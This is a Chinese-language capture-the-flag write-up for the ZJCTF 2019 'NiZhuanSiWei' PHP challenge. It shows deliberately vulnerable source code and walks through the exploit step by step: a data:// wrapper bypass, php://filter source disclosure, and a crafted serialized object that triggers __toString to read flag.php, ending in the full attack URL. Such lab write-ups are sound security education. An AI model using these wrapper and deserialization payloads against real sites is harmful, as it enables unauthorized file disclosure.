[ZJCTF 2019]NiZhuanSiWei (__tostring反序列化,data和filter伪协议)

举报
开心星人 发表于 2022/11/22 20:40:25 2022/11/22
【摘要】 <?php $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($tex...
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

(file_get_contents($text,'r')==="welcome to the zjctf")
在这里插入图片描述

这里我们肯定不存在一个文件,并且该文件的内容为welcome to the zjctf

所以可以使用data伪协议进行绕过
?text=data://text/plain,welcome to the zjctf
在这里插入图片描述

成功绕过了

接下来想要查看useless.php的内容,直接访问是一块白板,查看源码也什么都没有。(因为php代码并没有写在注释中,所以我们查看源码看不到;并且这串php代码也跟页面渲染无关,所以我们看到的页面是白板)

include($file);
所以我们可以使用php://filter伪协议查看源码
file=php://filter/read=convert.base64-encode/resource=useless.php
在这里插入图片描述

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

拿到了源码
因为

$password = unserialize($password);
echo $password;

所以会调用__tostring()函数

<?php  
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
echo serialize($a);
?>

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。